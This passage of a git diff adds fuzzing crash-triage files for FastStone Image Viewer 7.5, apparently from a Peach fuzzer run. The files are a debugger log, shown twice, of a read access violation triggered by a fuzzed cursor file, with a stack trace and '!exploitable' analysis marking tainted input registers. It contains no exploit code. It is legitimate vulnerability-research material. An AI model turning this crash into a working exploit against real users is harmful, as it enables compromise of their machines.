Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..9cb0572 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..80de83d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xE6C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xE6C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(e6c.1004): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07ea7b10 edx=00003879 esi=ffdd0010 edi=0f7d0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.26088e+019 -1.86625e+026 -1.56263e+016 1.36428e+013 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00348000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00348000 2d360fbd 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00348000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..80de83d --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/WindowsDebugEngine_description.txt @@ -0,0 +1,194 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xE6C: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xE6C: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(e6c.1004): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0001ed2d ecx=07ea7b10 edx=00003879 esi=ffdd0010 edi=0f7d0fd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.732602802468701280000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.26088e+019 -1.86625e+026 -1.56263e+016 1.36428e+013 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f88130 07f05930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00348000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00348000 2d360fbd 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62bd 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00348000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x052e1964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x052e1964) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/UNKNOWN_0x67613208_0x052e1964/11655/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..9cb0572 Binary files 